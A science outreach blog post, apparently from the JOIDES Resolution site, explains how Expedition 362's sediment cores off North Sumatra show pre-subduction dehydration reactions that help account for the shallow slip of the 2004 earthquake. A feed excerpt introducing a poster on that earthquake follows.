<p>The North Sumatra margin is distinctive from other accretionary prism because of the thickness of the sediments stacked on the sea-floor of the Indian plate &#8211; 1,5 km thick increasing to 5 km at the deformation front. A significant part of the sediments come from the Himalayan mountains, triggered by sediment gravity flows, nearly 2000 km away from our drilling sites! Scientists think that these very thick sediments may explain the unusual type of earthquake of 2004. One goal of Expedition 362 was &#8220;<em>to find out more about how specific sediments control the size and type of earthquakes in this kind of environnement</em>&#8221; explained Lisa McNeill of the University of Southampton.</p>
<p>During August and September 2016, we spent two months drilling the boreholes U1480 (1432 m depth) and U1481 (1500 m depth) on a section of the seafloor ~200 km west of Sumatra in order to sample the thick sedimentary sequence before it reaches the subduction zone. The sediments were deposited on the seafloor over the last ~70 million years, but the majority were deposited in the ~ last 9 million years.</p>
<p>Current models of subduction predict that rupture should occur at depth within the subduction zone. The mechanical and hydrogeological conditions (i.e. fluid generation) of the fault interface control when and where megathrust (subduction plate boundary) earthquakes occur. And these conditions are closely linked to the properties of the materials being sudducted. Fluids released by compaction of the sediments and by mineral dehydration reactions as the temperatures of the sediments increase as they are buried have a major role in how the fault behaves. Yet, the 2004 Sumatra-Adaman and the 2011 Tohoku-Oki earthquakes do not fit these models because the slip extented much more farther and closer to the seaward limits of the subduction forearc than predicted.</p>
<p>Studies of samples from the boreholes helped the 362 scientists to reappraise the current models of subduction whic failed, until now, to explain the unusual earthquakes.</p>
<p>And the first results just got published in one of the famous science journals! Have a look <a href="http://science.sciencemag.org/content/356/6340/841" class="broken_link">here!</a></p>
<p><strong><em>What does this article explain? How does it improve our comprehension of subduction zones around the world?</em></strong></p>
<p>Firts, you have to understand that earthquakes are closely linked to the capability of the rock to break under stress which means that it has to be hard enough. Sediment deposits turn into rocks during a phase called <strong>diagenesis</strong>. This occurs due to burial beneath more sediments which leads to increased temperature and pressure: sediments lose bounded water under pressure and chemical reactions occur and change their physical properties. Part of the diagenesis process is dehydration of the minerals &#8211; this produces fresh water which is released  but also changes the composition and properties of the changed minerals. These reactions are very important for the behavior of the sediments because they ultimately increase their strength and their ability to cause an earthquake.</p>
<p>The seismic line shows a particular seismic horizon (labeled in the figure below &#8220;high amplitude negative polarity reflector&#8221;) which was thought to be a weak, fluid-rich layer before the subduction zone. This horizon could be the locus for the plate boundary fault initiation which means that earthquakes would occur along this horizon but we didn&#8217;t know its properties or the cause of the fluid.</p>
<figure id="attachment_22690" aria-describedby="caption-attachment-22690" style="width: 861px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-22690" src="https://joidesresolution.org//wp-content/uploads/2017/07/Huppers2017.jpg" alt="" width="861" height="271" srcset="https://joidesresolution.org/wp-content/uploads/2017/07/Huppers2017.jpg 861w, https://joidesresolution.org/wp-content/uploads/2017/07/Huppers2017-300x94.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/07/Huppers2017-768x242.jpg 768w" sizes="auto, (max-width: 861px) 100vw, 861px" /><figcaption id="caption-attachment-22690" class="wp-caption-text"><em>Overview of study area and sampling locations (Hüppers et al., 2017)</em></figcaption></figure>
<p>Our geochemist team spent 2 months squeezing the sediments of hole U1480 and U1481 in order to analyze composition of the water from the sediments pores. Production of freshwater is a sign of dehydration reactions. Geochemical analyses have confirmed that fresh water is present and that diagenesis is happening. As these sediments get closer to the subduction zone and more fresh water is generated, the seismic horizon properties indicate it is an important reservoir of water released from dehydrating minerals. Slides of the sediments onboard showed that part of the source of the water was originally volcanic glass from volcanic eruptions.</p>
<p>Dehydration simulations were used to estimate fluid production as temperature increased (as sediment load and burial increased) toward the subduction deformation front. Model results demonstrate that fluid produced by dehydration reactions exceeds fluids produced by compaction of sediments. Sampling of the incoming material at the North Sumatran subduction zone provides direct evidence that the diagenesis reactions that release water and make the sediments and rocks stronger and more likely to rupture as an earthquake have happened before subduction. This is consistent with the shallow slip which was observed during the 2004 earthquake.</p>
<p>Scientists of expedition 362 have shown that there is a varied set of conditions that control earthquake slip and that if we want to better understand how earthquakes happen, we have to take into account the nature of sediments in subduction models, particulary in places were very thick sediments have built up.</p>
<p>I am very proud to have been a tiny part of this great expedition. Congrats to the 362 scientists!</p>
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		<title>The Earthquake that Triggered Expedition 362</title>
		<link>https://joidesresolution.org/the-earthquake-that-triggered-expedition-362/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=the-earthquake-that-triggered-expedition-362</link>
					<comments>https://joidesresolution.org/the-earthquake-that-triggered-expedition-362/#respond</comments>
		
		<dc:creator><![CDATA[Naomi Barshi]]></dc:creator>
		<pubDate>Wed, 21 Sep 2016 22:01:47 +0000</pubDate>
				<category><![CDATA[earthquakes]]></category>
		<category><![CDATA[earthquakes_659]]></category>
		<category><![CDATA[EXP362]]></category>
		<category><![CDATA[Expedition 362 Sumatra Seismogenic Zone]]></category>
		<category><![CDATA[Sumatra Seismogenic Zone]]></category>
		<category><![CDATA[tsunami]]></category>
		<guid isPermaLink="false">https://joidesresolution.org//the-earthquake-that-triggered-expedition-362</guid>

					<description><![CDATA[In 2004, a magnitude 9.2 earthquake struck the northern Sumatra region and triggered a tsunami that inundated the Indian Ocean...  <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-earthquake-that-triggered-expedition-362/" title="Continue reading The Earthquake that Triggered Expedition 362">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
										<content:encoded><![CDATA[<p>In 2004, a magnitude 9.2 earthquake struck the northern Sumatra region and triggered a tsunami that inundated the Indian Ocean coast. The disaster was an important reminder to earth scientists that we must better understand the processes at work in subduction zones so that we can help mitigate future disasters. The earthquake was extremely powerful and surprising to geologists in that it was able to break through the plate boundary to relatively shallow depths (5-7 km) below the seafloor. This poster explains some of the details about the events of 26 December 2004, which spurred the scientists on board Expedition 362 to drill into the seafloor and study the rocks and sediments that host major earthquakes once they reach the subduction plate boundary.<br />
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<p>&nbsp;</p>
<p>For further reading, check out our pages about earthquakes and subduction zones, two of the main topics under study by <a href="https://joidesresolution.org//expedition/362/">Expedition 362: Sumatra Seismogenic Zone</a>.</p>
<p>This poster is printable on 11&#215;17 in paper.</p>
<p>&nbsp;</p>
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